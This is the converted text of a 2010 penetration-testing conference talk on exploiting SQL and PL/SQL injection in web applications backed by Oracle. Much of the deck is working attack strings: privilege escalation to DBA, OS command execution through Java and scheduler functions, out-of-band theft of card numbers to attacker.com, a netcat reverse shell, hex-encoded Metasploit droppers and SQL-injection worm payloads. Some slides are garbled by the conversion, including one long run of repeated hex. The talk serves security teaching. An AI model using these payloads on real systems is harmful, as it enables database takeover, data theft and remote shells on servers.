Hacking Oracle from Web Apps

Sumit Siddharth
Aleksander Gorkowienko
7Safe, UK
About US

- Pentesters @7safe
- Specialize in Application Security
- Speaker at Defcon, OWASP Appsec, Troopers, Sec-T etc
- Not an Oracle Geek 😞
What this presentation will be about? ;-) ...

...No no no no.
Not this time ;-)...
The real agenda ;-) 

- Exploiting SQL Injections from web apps against Oracle database
  - Introduction [5 mins]
  - PL/SQL vs SQL Injection [5 mins]
  - Extracting Data [5 mins]
  - Privilege Escalation [5 mins]
  - OS Code Execution [15 mins]
  - Second Order Attacks [10 mins]

- PCI Compliance and SQL Injection [10 min]
The talk presents the work of a number of Oracle security researchers in the context of web application security.

- Specially David Litchfield

Other researchers we would like to thank:
- Alexander Kornbrust
- Ferruh Mavituna
Oracle Privileges

- Oracle database installation comes with a number of default packages, procedures, functions etc.
- By default these procedures/functions run with the privilege of definer
- To change the execution privileges from definer to invoker keyword AUTHID CURRENT_USER must be defined.
If there is a SQL Injection in a procedure owned by SYS and PUBLIC has execute privileges, then its “game over”...
Owning oracle from network

- Enumerate SID
- Enumerate users
- Connect to oracle
- Exploit SQL injection in a procedure owned by SYS
- Become DBA
- Execute OS Code

Metasploit is your friend...
E.g.

- exec `SYS.LT.MERGEWORKSPACE('foobar' and SCOTT.DBA()='Y');`
- The function SCOTT.DBA() will be executed by SYS as it is called by the procedure
- SCOTT.DBA() has AUTHID CURRENT_USER defined.
PL/SQL vs SQL

- PL/SQL: Coding language embedded in Oracle.
- Free floating code wrapped between begin and end.
- E.g.

```
Begin
    Scott.procedure1('input1');
    Scott.procedure2('input2');
End;
```
SQL is a limited language that allows you to directly interact with the database.

You can write queries (SELECT), manipulate data and objects (DDL, DML) with SQL. However, SQL doesn't include all the things that normal programming languages have, such as loops and IF...THEN...ELSE statements.

Most importantly, SQL do not support execution of multiple statements.
Challenges in Exploiting Oracle From Web Apps

- SQL in Oracle does not support execution of multiple statements.
- OS code execution is not as simply as executing xp_cmdshell in MSSQL.
- Not enough documentation on which exploits can be used from web applications.
- Not many publicly available tools for exploiting Oracle SQL Injections.
## 2 Classes of Vulnerabilities

### PL/SQL vs SQL Injection

<table>
<thead>
<tr>
<th>PL/SQL Injection</th>
<th>SQL Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Injection in Anonymous PL/SQL block</td>
<td>• Injection in Single SQL Statement</td>
</tr>
<tr>
<td>• No Restriction</td>
<td>• Restrictions</td>
</tr>
<tr>
<td>• Execute DDL, DML</td>
<td>• No ';' allowed</td>
</tr>
<tr>
<td>• Easy</td>
<td>• Difficult</td>
</tr>
</tbody>
</table>
php code at web server:

```php
$name = $_GET['name'];
$conn = oci_connect('SCOTT', 'TIGER') or die;
$sql = 'BEGIN scott.test(:name); END;';
$stmt = oci_parse($conn, $sql);
// Bind the input parameter
oci_bind_by_name($stmt, ':name', $name, 1000);
// Assign a value to the input
oci_execute($stmt);
?>
```
E.g

- At database:

```sql
CREATE OR REPLACE PROCEDURE SCOTT.TEST(Q IN VARCHAR2) AS BEGIN
EXECUTE IMMEDIATE ('BEGIN ||Q||';END;');
END;
```
David Litchfield showed an exploit at Blackhat DC, 2010

Allows a user with create session privs to grant himself java IO permissions

Once java IO permissions are obtained he can become dba or directly execute OS code

Fixed in April 2010 CPU
PL/SQL Injection: Privilege Escalation


execute immediate 'DECLARE POL
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR
C1 IS SELECT
'"GRANT","user()","SYS","'java.io.FilePermission"','"<<ALL
FILES>>",""execute",""ENABLED" FROM
DUAL;BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);E
ND;';end;--
http://192.168.2.10/ora9.php?name=null;declare aa varchar2(200);begin
execute immediate 'Select DBMS_JAVA_TEST.FUNCALL(''oracle/aurora/util/Wrapper'',''main'',''c:\windows\system32\cmd.exe'',''/c',''dir >> c:\0wned.txt'') FROM DUAL' into aa;end;end;--
PL/SQL in Oracle Apps

Oracle Portal component in Oracle Application Server 9.0.4.3, 10.1.2.2, and 10.1.4.1

- CVE ID: [2008-2589](#): WWV_RENDER_REPORT package’s SHOW procedure vulnerable to PL/SQL injection.
- [CPU, July 2008](#): PL/SQL Injection in Oracle Application Server (WWEXP_API_ENGINE)
Becoming DBA from execute “Any” procedure privilege

- Execute “Any” procedure is quite high privilege, still not equivalent to DBA
- “Any” implies any, other than procedures in SYS schema
- SQL Injection in `mdsys.reset_inprog_index()` procedure
  - Procedure is owned by mdsys user and not sys
  - Mdsys has create any trigger privilege
  - Create Any trigger, gives us DBA
    - By default public do not have execute privileges on `mdsys.reset_inprog_index()`
Indirect Privilege Escalation

Create or replace function scott.z return int as
Begin
Execute immediate ‘grant dba to scott’;
Return 1;
End;

grant execute on scott.fn2 to public;

*Mdsys do not have dba role, so injecting this function will not help.*
Lets assume scott has privileges to call this procedure:

*He creates another function...*

```sql
create or replace function fn2 return int authid current_user is
pragma autonomous_transaction;
BEGIN
execute immediate 'create or replace trigger "SYSTEM".the_trigger2 before insert on system.OL$ for each row BEGIN  SCOTT.Z();
dbms_output.put_line(''aa'');end ;';
return 1;
END;
```
Begin

```sql
mdsys.reset_inprog_index('aa' and scott.fn2()=1 and ''1''=''1'', 'bbbb');
end;
```

- Scott.fn2() gets executed with mdsys privileges
- Trigger is created in system schema
- Public has insert privileges on table `system.OL$
- Scott.Z() gets executed with SYSTEM privs
- SCOTT is now DBA
- Indirect privilege escalation can be used from web apps when exploiting PL/SQL Injections
- Mostly PL/SQL injections are privileged anyways 😊
$query = "select * from all_objects where object_name = '$_GET['name']. "'";

http://vulnsite.com/ora.php?name=' or '1'='1
   – Select * from all_objects where object_name = '' or '1'='1'
Exploiting SQL Injection

- Extracting Data
  - Error Message Enabled
  - Error Message Disabled
    - Union Query*
    - Blind Injection*
    - Time delay/heavy queries*
    - Out of Band Channel

- Privilege Escalation
- OS Code Execution

* Not discussed in this talk
Oracle database error messages can be used to extract arbitrary information from database:

http://192.168.2.10/ora2.php?name=' And 
1=utl_inaddr.get_host_name((select user from dual))--
Error messages and 10g

http://192.168.2.10/ora2.php?name=1 and utl_inaddr.get_host_name((select user from dual)) is not null--|

Warning: ociexecute() [functionOCIexecute]: ORA-29257: host SCOTT unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 in C:\wamp\www\ora2.php on line 13

Warning: ocifetchinto() [functionOCIfetchInto]: ORA-24374: define not done before fetch or execute and fetch in C:\wamp\www\ora2.php on line 14

My first Oracle and PHP combo scripts...
From Oracle 11g onwards network ACL stop execution of functions which could cause network access.

Thus utl_inaddr.get_host_address() and others will result in error like this:
Error messages and 11g

Warning: ociexecute() [function.ociexecute]: ORA-24247: network access denied by access control list (ACL) ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 in C:\wamp\www\oral.php on line 13

Warning: ocifetchinto() [function.ocifetchinto]: ORA-24374: define not done before fetch or execute and fetch in C:\wamp\www\oral.php on line 14

My first Oracle and PHP combo scripts...
Alexander Kornbrust showed that alternate functions can be used in 11g to extract the information in error messages:

```sql
ctxsys.drithsx.sn(1, (sql query to execute))
```

```html
http://192.168.2.10/ora1.php?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
```
<table>
<thead>
<tr>
<th>INT</th>
<th>MySQL</th>
<th>MsSQL</th>
<th>XSS</th>
<th>Encryption</th>
<th>Encoding</th>
<th>Other</th>
</tr>
</thead>
</table>

**Load URL**

```
http://192.168.2.10/oral.php?name=1' AND 1=ctxsys.drithsx.sn(1,(SELECT USER FROM dual))--
```

**Warning:** `ociexecute()` [function.ociexecute]: ORA-20000: Oracle Text error: DRG-11701: thesaurus SCOTT does not exist
ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSXA", line 538 ORA-06512: at line 1 in C:\wamp\www\oral.php on line 13

**Warning:** `ocifetchinto()` [function.ocifetchinto]: ORA-24374: define not done before fetch or execute and fetch in C:\wamp\www\oral.php on line 14

My first Oracle and PHP combo scripts...
- Union Queries
- Blind SQL Injection
  - Boolean Logic (true and false)
  - Time Delays/Heavy Queries
- Out of Band Channels
Blind SQL Injection

- Boolean Logic
Blind SQL Injection

- Time Delay
Out Of Band Channels

- Make the database server open network connections to attacker’s site
- HTTP, DNS outbound traffic is typically allowed

```sql
SELECT utl_inaddr.get_host_address(SELECT user FROM dual) || '.attacker.com' FROM dual;
```

From Oracle 11g onwards network ACL stop execution of functions which could cause network access.

Thus `utl_inaddr.get_host_address()` and others will result in error like this:
- `ORA-24247`: network access denied by access control list (ACL)
Out Of Band in 11g

- Screenshot:
  - ORA-24247: network access denied by access control list (ACL)
Out Of Band in 11g

```sql
SELECT SYS.DBMS_LDAP.INIT((SELECT user from dual)||'.databasesecurity.com',80) FROM DUAL

http://192.168.2.10/oral.php?name=SCOTT' and (SELECT SYS.DBMS_LDAP.INIT((SELECT user from dual)||'.databasesecurity.com',80) FROM DUAL) is not null--
```
OOB: One query to get them all

Select

\[ \text{sum}(\text{length(utl_http.request('http://attacker.com/'||ccnumber||'.'||fname||'.'||lname)))} \]

From creditcard

  /5612983023489216.test1.surname1
  HTTP/1.1" 404 308

  /3612083027489216.test2.surname2
  HTTP/1.1" 404 308

  /4612013028489214.test3.surname3
  HTTP/1.1" 404 308
http://vuln.com/ora2.php?name=-5 union select cast(substr(httpuritype('http://127.0.0.1:8080/sqlinjection/default3.asp').getclob(),1,1000) as varchar(1000)) from dual--
Oracle as HTTP Proxy

Attacker

Web server

Web Interface

DMZ

LAN

Pwned! ;-)

http://vuln.com/ora2.php?name=-5 union selectcast(substr(httpuritype('http://127.0.1:8080/sqlinjection/default3.asp').getcl ob(),1,1000) as varchar(1000)) from dual--
union
select
cast(substr(httpuritype('http://127.0.0.1/sqlinjection/default3.asp?qid=1/**/union/**/all/**/select/**/1,@@version,user').getclob(),1,1000) as varchar(1000)) from dual--
Fun with httpuritype

Oracle PHP Test

<table>
<thead>
<tr>
<th>Name</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>King</td>
<td></td>
</tr>
</tbody>
</table>

**Products**

- **item1**
  
  This is a test description for product 1

```
Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: )
```

Number of Rows: 2

If you see data, then it works!
http://172.16.56.128:81/ora2.php?name=-5 union select cast(substr(httpuritype('http://127.0.0.1/sqlinjection/default3.asp?qid=1;exec/**/master..xp_cmdshell/**/"C:\nc.exe%20172.16.56.1%204444%20-e%20cmd.exe"').getclob(),1,3000) as varchar(3000)) from dual--
Exploiting Internal Network

Demo (video)
Privilege Escalation

- Privileged SQL Injection
- Unprivileged SQL Injection
Privileges with which injected SQL gets executed

- Privileged
  - DBA privileges
    - App connects to database with DBA privileges
    - SQL Injection is in a procedure owned by a DBA
      - Procedure runs with definer privileges

- Unprivileged
  - Create session, other privileges
Privilege Escalation

- **DBMS_EXPORT_EXTENSION**
- **GET_DOMAIN_INDEX_TABLES()**
  - Function vulnerable to PL/SQL injection
  - Runs with definer (SYS) privileges
  - Allowed privilege escalation and OS Code execution from web apps
  - Public can execute the function
- Fixed in CPU April 2006.
- Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2,XE
select
 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'
 .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE
 PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
 EXECUTE IMMEDIATE '''' grant dba to
 public'''';END;'''';END;--
 ', 'SYS', 0, '1', 0) from dual
OS Code Execution

Unprivileged

Upto 10.2.0.2 only, CPU July 2006 and earlier

Privileged

DBA privileges (not necessarily SYS DBA, feature)

JAVA IO Privileges(10g R2, 11g R1, 11g R2, Feature)
Versions prior to CPU April 2006
- PL/SQL Injection allows OS Code execution
- A number of tools support this exploit
- Commercial
  - Pangolin, Coreimpact
- Free
  - Bsqlbf
  - Supports OS code execution by following methods
    - Based On Java (universal)
    - PL/SQL native make utility (9i only)
    - DBMS_scheduler (universal)
With Java IO privileges

- Functions:
  - DBMS_JAVA.RUNJAVA()
    - 11g R1 and R2
  - DBMS_JAVA_TEST.FUNCALL()
    - 10g R2, 11g R1 and R2

- Java class allowing OS code execution by default
  - oracle/aurora/util/Wrapper
http://vuln.com?ora.php?id=1 AND (Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\windows\system32\cmd.exe ','/c',' dir >c:\owned.txt') FROM DUAL) IS NULL --
With DBA privileges

- DBA can already grant himself java IO privileges.
  - The privileges are not available in same session
  - The java class allowing OS code execution could be removed/changed in a future CPU

- Function:
  **SYS.KUPP$PROC.CREATE_MASTER_PROCESS()**
  - Function executes arbitrary PL/SQL
  - Executes any PL/SQL statement.
    - Call DBMS_scheduler to run OS code
http://vuln.com?ora.php?id=1 AND (SELECT SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''BSQLBFPROG'',''
EXECUTABLE'', ''c:\WINDOWS\system32\cmd.exe/c dir>>c:\owned.txt'', 0,
TRUE));DBMS_SCHEDULER.create_job(job_name => '''BSQLBFJOB''', program_name => '''BSQLBFPROG''',
start_date => NULL, repeat_interval => NULL, end_date => NULL, enabled => TRUE, auto_drop =>
TRUE);dbms_lock.sleep(1);DBMS_SCHEDULER.drop_program(PROGRAM_NAME =>
'''BSQLBFPROG''');DBMS_SCHEDULER.PURGE_LOG;')
from dual) IS NOT NULL --
Modes of attack (-type switch)

0:  Type 0 (default) is blind injection based on True and False responses
1:  Type 1 is blind injection based on True and Error responses
2:  Type 2 is injection in order by and group by
3:  Type 3 is extracting data with SYS privileges [ORACLE dbms_export_extension exploit]
4:  Type 4 is O.S code execution [ORACLE dbms_export_extension exploit]
5:  Type 5 is reading files [ORACLE dbms_export_extension exploit, based on java]
6:  Type 6 is O.S code execution [ORACLE DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit]
7:  Type 7 is O.S code execution [ORACLE SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs]
   -cmd=revshell [Type 7 supports meterpreter payload execution, run generator.exe first]
   -cmd=cleanup [run this after exiting your metasploit session, it will clean up the traces]

8:  Type 8 is O.S code execution [ORACLE DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions]
   -cmd=revshell [Type 8 supports meterpreter payload execution, run generator.exe first]
Bsqlbf demo

Hacking Oracle from web apps
- CSRF in Admin Section which has
  - SQL Injection Vulnerability
  - Allows Execution of SQL as a feature
- Second Order SQL Injection in Admin section
CSRF in Oracle Enterprise Manager 11g

SQL Worksheet: ord
Enter a SQL statement to execute. If there are multiple statements, the location of the cursor or a highlighted statement determines which will be executed. Statements should be separated with blank lines.

SQL Commands

Last Executed SQL

Last Execution Details

Related Link
SQL Worksheet Session Details

Copyright © 1996-2007 Oracle. All rights reserved.
Oracle, JD Edwards, PeopleSoft, and Keatix are registered trademarks of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
About Oracle Enterprise Manager
Second Order SQL Injection

```
Dim conn, rec, query1, query2, login_id, old_pass, new_pass
login_id = Replace(Request.Form(“login_id”), “”, “’”)
old_pass = Replace(Request.Form(“old_pass”), “”, “’”)
new_pass = Replace(Request.Form(“new_pass”), “”, “’”)
Set conn = CreateObject("ADODB.Connection")
conn.Open = "DSN=AccountDB;UID=sa;PWD=password;"
query1 = “select * from tbl_user where login_id='” & login_id & “'” & old_pass & “'"
Set rec = conn.Execute(query1)
If (rec.EOF) Then
    Response.Write "Invalid Password"
Else
    query2 = “update from tbl_user set password='” & new_pass & “'” & “where login_id='” & rec.(“login_id”) & “'"
    conn.Execute(query2)
End If
```

Sanitises user’s input

Value coming from session, what if login_id is foo’ or ‘1’=‘1
The record is stored in a database and a new user’s account is waiting for activation...

Execute immediate ‘Insert into spc_delivery_option values(1,:a)’ using var1;
The new user’s account is activated

The new user’s data record is stored into the table with active users.

```sql
17 create or replace procedure active_accounts is
18 var1 varchar2(1000);
19 var2 varchar2(1000);
20 begin
21    execute immediate 'select spc_delivery_option from account_pending where id=2' into var1;
22    if (var1 is not null) then
23      var2 := 'insert into special_delivery values (4,'''||var1||''');
24      execute immediate var2;
25    end if;
26  end;
27 end;
```
Second order SQL Injection [2]

```sql
create or replace procedure active_accounts is
  var1 varchar2(1000);
  var2 varchar2(1000);

begin
  execute immediate 'select spc_delivery_option from account_pending where id=2' into var1;
  if (var1 is not null) then
    var2 := 'insert into special_delivery values (4,''||var1||''');
    execute immediate var2;
  end if,
end;
```

Final query:
Insert into special_delivery values (4,'''||scott.evilfunc()||''')--'

6/11/2010 Hacking Oracle from web apps 64
SQL Injection does not occur within the attacker’s session
E.g. attacker places an order via a ecommerce application
Admin logs in and approves the order
Admin’s session is vulnerable to SQL Injection
Attacker’s input gets passed to the vulnerable SQL call.
CREATE OR REPLACE TRIGGER "SYSTEM"."MYTRIGGER" BEFORE INSERT ON SCOTT.ORDER_TABLE
REFERENCING NEW AS NEWROW FOR EACH ROW
DECLARE
L NUMBER;
S VARCHAR2(5000);
BEGIN
L:=LENGTH(:NEWROW.V);
IF L > 15 THEN
    DBMS_OUTPUT.PUT_LINE('INSERTING INTO MYTABLE_LONG AS WELL');
    S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V || ''')';
    EXECUTE IMMEDIATE S;
END IF;
END MYTRIGGER;
ALTER TRIGGER "SYSTEM"."MYTRIGGER" ENABLE
One Click Ownage

- Exploit non Interactive SQL Injections
- Concept by Ferruh Mavituna
  - Generate a hex representation of the "shell.exe" in the local system,
  - Write a VBScript that can process this hex string and generate a valid binary file,
  - Put all this together into one line,
  - Carry out the SQL injection with this one line.
  - Enjoy the reverse shell 😊
1. Shell.exe is generated by Metasploit. The payload executed on target server starts reverse shell connection to the attacker’s machine.

2. Shell.exe is compressed and hex-encoded. It is then converted to the one line (quite long...) of VB code, which being executed on the target machine re-create and run shell.exe.
3. SQL Injection is exploited:
- **VB script** is deployed on the target server (using `xp_cmdshell` executed with given parameters)
- **VB script** is executed on the target server, so the file `shell.exe` is recreated
- The file `shell.exe` is executed so the remote connection to the attacker’s machine is initiated from the target server. Because of that, it is not detected by firewall.
- Attacker got a remote shell to the target server.
http://192.168.2.10/ora1.php

?name=1 and (Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main',c:\windows\system32\cmd.exe','/',echo d="4D5A900003x0304x03FFFFFx02B8x0740x2380x030E1FBAE00B409CD21B8014CDD21546869732070726F6772616D206316E6E6F7420626520696E20444F53206D6F64652E0D0D0A24x075045x024C0103006716F0D6x08E00000F03B0102380010x0310x03050x0360x03370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02A8x7355505830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332E3035005505821D09020993B630E5CE0BCADA641x021D02x03260x0226x02C3B7FFDBFF31C0B900204000683010464FF30648920506A406812x02DA2FE4F65151E9x023C90FF23C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560...C70588D8E2D98800040x02BB0790C0743C8BSF048D8430060x0201F35083C708FF962860x02958A074708C074DC89F95748F2AF55F9F62C60x0209C07407890383C304FF1FF963C60x0288AF3060x02DBBF00F0FFFFRB0010x025046A054357FFD58D879F01x0280207F8060287F58505405357FFD558618D4424806A0039C475FA83E0938ACFFFFx444470x022870x165070x025E70x026E70x027E70x028C70x029A70x064B45524E54C33222444C4Cx024C6F61644C69627261727941x0247657450726F6316464672657370x02566972475616C416C6C6F63x025669727475616C46726565x0345789745072F63657373xFxFF5A".W CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) ^%26 "\wr.exe", R(d):Function R(t):Dim Arr():For i=0 To Len(t)-1 Step 2:Redim Preserve Ar(S):FB=Mid(t,i%2b1,1):SB=Mid(t,i%2b2,1):HX=FB ^%26 SB:If FB="x" Then:NB=Mid(t,i%2b3,1):L=H(SB ^%26 NB):For j=0 To L:Redim Preserve Ar(S%2b(j%2*2b1)):Ar(S%2bjj)=0:Ar(S%2bjjb1)=0:Next:i=i%2b1:_SB=S%2bL:Else:If Len(HX)>0 Then:Ar(S)=H(HX):End If:S=S%2b1:End If:Next:Redim Preserve Ar(S-2):R=Ar:End Function:Function H(HX):H=CLng("%26H" ^%26 HX):End Function:Sub W(FN, Buf):Dim aBuf:Size = UBounded(Buf):Redim aBuf(Size\2):For I = 0 To Size - 1 Step 2:aBuf(I\2)=ChrW(Buf(I%2b1)*256%2bBuf(I\2)):Next:I=Size Then:aBuf(I\2)=ChrW(Buf(I)):End If:aBuf=Join(aBuf,""):Set bs=CreateObject("ADODB.Stream"):bS.Type=1:bS.Open:With CreateObject("ADODB.Stream"):Type=2:Open:WriteText aBuf:.Position=2:.CopyTo bs:.Close:End With:bS.SaveToFile FN,2:bS.Close:Set bs=Nothing:End Sub>%25TEMP%25\bsqlbf.vbs%26%25TEMP%25\bsqlbf.vbs%26%25TEMP%25\wr.exe') FROM DUAL) is not null--
1 click ownage with DBA privileges

- Not quite the same
- Why not
  - Can you not grant user java IO privs and then execute the step described earlier?
  - We can, but the privileges will not be available in same session. Wont be 1 click then 😞
1 click ownage with DBA privileges

- What didn’t work:
- Can you not pass the OS code directly to DBMS_SCHEDULER and execute it, simple!?
  - DBMS_SCHEDULER’s create program procedure can only take up to 1000 chars as argument to program_action_paramater
What finally worked:
- Create a directory
- Create a procedure to write files on system
- Execute the procedure to write a vb script
- Execute the VB script to create msfpayload’s executable
- Execute the executable

All in one request? 😊
http://vuln.com/vulnerable.php?name=1 and (SELECT SYS.KUPP$PROC.CREATE_MASTER_PROCESS('BEGIN EXECUTE IMMEDIATE "create or replace procedure pr(p in varchar2, fn in varchar2, l in nvarchar2) is o_futl_file.file_type; begin o_f:=utl_file.fopen(p,fn,'"W"',4000);utl_file.put_line(o_f,l);utl_file.fclose(o_f);end;";execute immediate "create or replace directory T as '''C:\'''''';pr(''T'',''x.vbs'',''d=4D5A900003x0340x03FFFx02B8x0740x2380x0301FFBA0E00B409CD21B8014CD21546869732070726F772616D2 063616E6E6F742062652070726F74686572656E676F64656E746167656C6C6566746564756C6C2D6F6620746865206120616E646F6E6564206C6179657373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737373737
One click ownage

Niiice!!!
select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('begin execute immediate ''grant dba to foobar'';end;') from dual;
SQL Injection Worm

- Started almost 2 years ago
- Changes the web app frontend, Inject malicious javascript within iframes of the frontend
- Distribute browser exploits
- Similar worms can be written in Oracle based on the concepts shown earlier
**SQL Injection Worm**

**MS-SQL:**
```
s=290';DECLARE @S NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380
0300030003002903B0730065007400200040006D003D00270027003B0730065006C00650063007400200040006D003D0040006D002B002700750070
064006100740065005B002700280061002E006E0010060D0065002B0027005D007300650074005B002700280062002E006E0010060D0065002B00270070
003D007200740069006D002B002800630066002B0028007000610072006300680061007200280070006100720063006800610072002000600063006800610072
002B002800620062002E006E0010060D0065002B002700290029002B0027002903C00730065007400200073006500740020003A002F002F0079006C003100
38002E006E00650074002F0030002E006A00730022003E003C002F0073006500740020002900270029002B002700290027003B0027002B00270029002700290027
60002700290029002B0027003C00730065007400200073006500740020003A002F002F0079006C003100
400062006F002E007300790073006F002E006A006500630074007300200061002C00640062006F002E0073007900730063006F002E0075006D006E007300
200062002C00640062006F002E00730079007300740079007000650073002000630020007700680065007300200061002E00690064003D0062002E00
69006400200061006E00640020007A00610072006500200063002000770068006500730020006500200061002E00690064003D0062002E00
2E007800740079007000650072006500200061006E0064002000630020006E00650072006500200061006E00640020006300200061006E006400
200040006D003D005200450056004500520053004500280040006D0029003B00730065007400770065007400200040006D002D003D00730075006D0079
06700280040006D002C0050004100540049004E004400450058002B002800270025002B0025002B0027002C0040006D0029002C00380030003000300029
065007400200064006D003D005200450056004500520053004500280040006D0029003B006500780065007300620040006D0029003B006500780065007300
```

**Oracle:**
```
http://127.0.0.1:81/ora4.php?name=1&1=(select ||
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT').PUT(P:1);EXECUTE IMMEDIATE "DECLARE || PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''commit'''''''' begin execute immediate '''''''' alter session set || current_schema=SCOTT ''''''''; execute immediate ''''''''commit'''''''';for rec in (select chr(117) || chr(112) || chr(100) || chr(97) || chr(116) || chr(101) || chr(32) || T.TABLE_NAME || chr(32) || chr(115) || chr(101) || chr(116) || chr(32) || C.column_name || chr(61) || C.column_name || chr(124) || chr(124) || chr(124) || chr(124) || chr(39) || chr(60) || chr(115) || chr(99) || chr(114) || chr(105) || chr(112) || chr(32) || chr(115) || chr(114) || chr(99) || chr(61) || chr(34) || chr(104) || chr(116) || chr(116) || chr(116) || chr(116) || chr(116) || chr(116) || chr(58) || chr(47) || chr(119) || chr(119) || chr(119) || chr(119) || chr(46) || chr(110) || chr(111) || chr(116) || chr(115) || chr(111) || chr(115) || chr(101) || chr(99) || chr(117) || chr(114) || chr(101) || chr(46) || chr(99) || chr(111) || chr(109) || chr(47) || chr(116) || chr(101) || chr(116) || chr(116) || chr(116) || chr(116) || chr(116) || chr(34) || chr(62) || chr(60) || chr(47) || chr(115) || || chr(99) || chr(114) || chr(105) || chr(112) || chr(116) || chr(62) || chr(39) as foo FROM ALL_TABLES,T.ALL_TAB_COLUMNS C WHERE || T.TABLE_NAME = C.TABLE_NAME and T.TABLESPACE_NAME like chr(85) || chr(83) || chr(69) || chr(82) || chr(83) and C.data_type like || chr(37) || chr(86) || chr(65) || chr(82) || chr(67) || chr(72) || chr(65) || chr(82) || chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE || rec.foo;end loop;execute immediate ''''''''commit'''''''';end;'');END;'');END;--','SYS','0','1','0') from dual)--
```

6/11/2010

Hacking Oracle from web apps
You’ve been hacked. So what?!

- Is there anything that could have be done to protect sensitive data in a database?
- How we can make precious data in the database “useless” for potential attacker or even a malicious DBA?
PCI compliance mandates that the card data (PAN) must be stored encrypted.

The distribution of keys used for encryption/decryption should be regulated.

What happens when an attacker finds a SQL Injection in such a site?

- Card data is encrypted
- Attacker can’t get keys for decryption
### Hashed credit card numbers

```sql
SELECT * FROM SCOTT.shop_creditcards
```

<table>
<thead>
<tr>
<th>USER_ID</th>
<th>CARD_TYPE</th>
<th>CARD_NUMBER</th>
<th>VALID_TO</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>F9C2D69BB05664B78DC31F13E350E7F4</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>7DA0BEF5BAD908A6414FD9C3C87F1A3E</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>4809E470F1A338F631DC2EC66119C52B</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>4</td>
<td>1</td>
<td>C998BF726C288DA278067400FB52B152</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>5</td>
<td>2</td>
<td>C998BF726C288DA278067400FB52B152</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>6</td>
<td>1</td>
<td>F9C2D69BB05664B78DC31F13E350E7F4</td>
<td>2010-01-01 00:00:00.0</td>
</tr>
<tr>
<td>7</td>
<td>2</td>
<td>3F87E08F2097016351376A0D15EA151D</td>
<td>2010-08-01 00:00:00.0</td>
</tr>
<tr>
<td>8</td>
<td>1</td>
<td>8CD91237C682C4E5BFC0216D598EB91F</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>9</td>
<td>2</td>
<td>F9C2D69BB05664B78DC31F13E350E7F4</td>
<td>2014-04-01 00:00:00.0</td>
</tr>
<tr>
<td>10</td>
<td>2</td>
<td>F9C2D69BB05664B78DC31F13E350E7F4</td>
<td>2010-01-01 00:00:00.0</td>
</tr>
<tr>
<td>11</td>
<td>2</td>
<td>2A7D99CF39105FAE9F92E3870BE30</td>
<td>2010-01-01 00:00:00.0</td>
</tr>
<tr>
<td>12</td>
<td>2</td>
